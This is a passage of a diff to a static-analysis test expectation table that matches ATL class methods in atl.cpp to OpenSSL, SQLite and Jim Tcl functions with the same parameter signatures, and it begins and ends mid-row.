(HINSTANCE,UINT) | CComBSTR | LoadString | 0 | | atl.cpp:440:10:440:19 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 1 | +| atl.cpp:440:10:440:19 | LoadString | (OSSL_PARAM *,unsigned int) | | OSSL_PARAM_set_uint | 1 | +| atl.cpp:440:10:440:19 | LoadString | (QUIC_DEMUX *,unsigned int) | | ossl_quic_demux_set_mtu | 1 | +| atl.cpp:440:10:440:19 | LoadString | (QUIC_OBJ *,unsigned int) | | ossl_quic_obj_set_blocking_mode | 1 | +| atl.cpp:440:10:440:19 | LoadString | (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | +| atl.cpp:440:10:440:19 | LoadString | (SSL *,unsigned int) | | SSL_set_hostflags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | +| atl.cpp:440:10:440:19 | LoadString | (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | +| atl.cpp:440:10:440:19 | LoadString | (X509_VERIFY_PARAM *,unsigned int) | | X509_VERIFY_PARAM_set_hostflags | 1 | +| atl.cpp:440:10:440:19 | LoadString | (char *,unsigned int) | | utf8_fromunicode | 1 | | atl.cpp:441:10:441:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:441:10:441:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:441:10:441:19 | LoadString | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:441:10:441:19 | LoadString | (unsigned int) | | ssl3_get_cipher | 0 | | atl.cpp:449:15:449:24 | operator+= | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:449:15:449:24 | operator+= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | | atl.cpp:450:15:450:24 | operator+= | (LPCOLESTR) | CComBSTR | Append | 0 | @@ -63,6 +1057,31 @@ signatureMatches | atl.cpp:544:13:544:15 | Add | (const SAFEARRAY *) | CComSafeArray | operator= | 0 | | atl.cpp:546:13:546:15 | Add | (const T &,BOOL) | CComSafeArray | Add | 0 | | atl.cpp:546:13:546:15 | Add | (const T &,BOOL) | CComSafeArray | Add | 1 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ASN1_tag2str | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | Jim_SignalId | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | PKCS12_init | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | Symbol_Nth | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_tolower | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | ossl_toupper | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | sqlite3_errstr | 0 | +| atl.cpp:568:8:568:17 | operator[] | (int) | | tls13_alert_code | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | | operator+= | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:612:5:612:10 | CPathT | (PCXSTR) | CStringT | operator= | 0 | @@ -82,6 +1101,31 @@ signatureMatches | atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | | operator+= | 0 | | atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:659:25:659:34 | operator+= | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ASN1_tag2str | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | Jim_SignalId | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | PKCS12_init | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | Symbol_Nth | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_tolower | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_toupper | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | sqlite3_errstr | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | tls13_alert_code | 0 | | atl.cpp:765:10:765:12 | Add | (const deque &,const Allocator &) | deque | deque | 1 | | atl.cpp:765:10:765:12 | Add | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:765:10:765:12 | Add | (const list &,const Allocator &) | list | list | 1 | @@ -90,6 +1134,31 @@ signatureMatches | atl.cpp:765:10:765:12 | Add | (forward_list &&,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:765:10:765:12 | Add | (list &&,const Allocator &) | list | list | 1 | | atl.cpp:765:10:765:12 | Add | (vector &&,const Allocator &) | vector | vector | 1 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ASN1_tag2str | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | Jim_SignalId | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | PKCS12_init | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | Symbol_Nth | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_tolower | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_toupper | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | sqlite3_errstr | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | tls13_alert_code | 0 | | atl.cpp:776:10:776:14 | SetAt | (const deque &,const Allocator &) | deque | deque | 1 | | atl.cpp:776:10:776:14 | SetAt | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:776:10:776:14 | SetAt | (const list &,const Allocator &) | list | list | 1 | @@ -110,12 +1179,139 @@ signatureMatches | atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | list | list | 2 | | atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | vector | vector | 1 | | atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | vector | vector | 2 | +| atl.cpp:821:17:821:28 | Canonicalize | (unsigned long) | | BN_num_bits_word | 0 | +| atl.cpp:821:17:821:28 | Canonicalize | (unsigned long) | | BUF_MEM_new_ex | 0 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | | atl.cpp:842:17:842:28 | SetExtraInfo | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | Strsafe | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | Symbol_new | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | UI_create_method | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | opt_path_end | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | opt_progname | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | strhash | 0 | | atl.cpp:843:17:843:27 | SetHostName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | Strsafe | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | Symbol_new | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | UI_create_method | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | opt_path_end | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | opt_progname | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | strhash | 0 | | atl.cpp:844:17:844:27 | SetPassword | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | Strsafe | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | Symbol_new | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | UI_create_method | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | opt_path_end | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | opt_progname | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | strhash | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | Strsafe | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | Symbol_new | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | UI_create_method | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | opt_path_end | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | opt_progname | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | strhash | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | Strsafe | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | Symbol_new | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | UI_create_method | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | opt_path_end | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | opt_progname | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | strhash | 0 | | atl.cpp:849:17:849:27 | SetUserName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | Strsafe | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | Symbol_new | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | UI_create_method | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | opt_path_end | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | opt_progname | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | strhash | 0 | | atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 | | atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 | | atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 2 | @@ -137,42 +1333,1297 @@ signatureMatches | atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 | | atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CStringT | CStringT | 0 | | atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CStringT | operator= | 0 | +| atl.cpp:922:10:922:15 | Append | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:922:10:922:15 | Append | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:922:10:922:15 | Append | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:922:10:922:15 | Append | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:922:10:922:15 | Append | 